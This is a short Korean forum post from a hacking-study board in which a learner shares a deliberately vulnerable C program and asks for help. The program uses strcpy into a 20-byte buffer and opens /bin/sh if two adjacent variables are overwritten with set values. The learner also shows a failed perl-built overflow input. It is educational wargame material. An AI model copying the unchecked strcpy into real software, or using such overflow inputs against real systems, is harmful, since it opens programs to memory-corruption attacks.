|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1856 [복사]
#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[]){
int check1 = 0x200a0b00;
int check2 = 0xaabbccdd;
char buffer[20];
strcpy(buffer, argv[1]);
if(check2==0x11223344)
if(check1==0x200a0b00)
system("/bin/sh");
}
.. 인데요
그 해커스쿨 BOF왕기초편으로 공부하면서 어떻게 해보려고 시도했습니다.
메모리에 쌓이는 순서가
| BUFFER[20] | check2 | check1 | 이잖아요... 그래서 인자값넣고
./BOF1 AAAAAAAAAAAAAAAAAAAA(20개)`perl -e 'print "\x44\x33\x22\x11"''perl -e 'print "\x00\x0b\x0a\x20"'` 했는데
안되더라구요 ㅎㅎㅎ (little edian 적용 했습니다)
조언부탁드려요 ㅠㅠ |
Hit : 3136 Date : 2017/04/16 02:36
|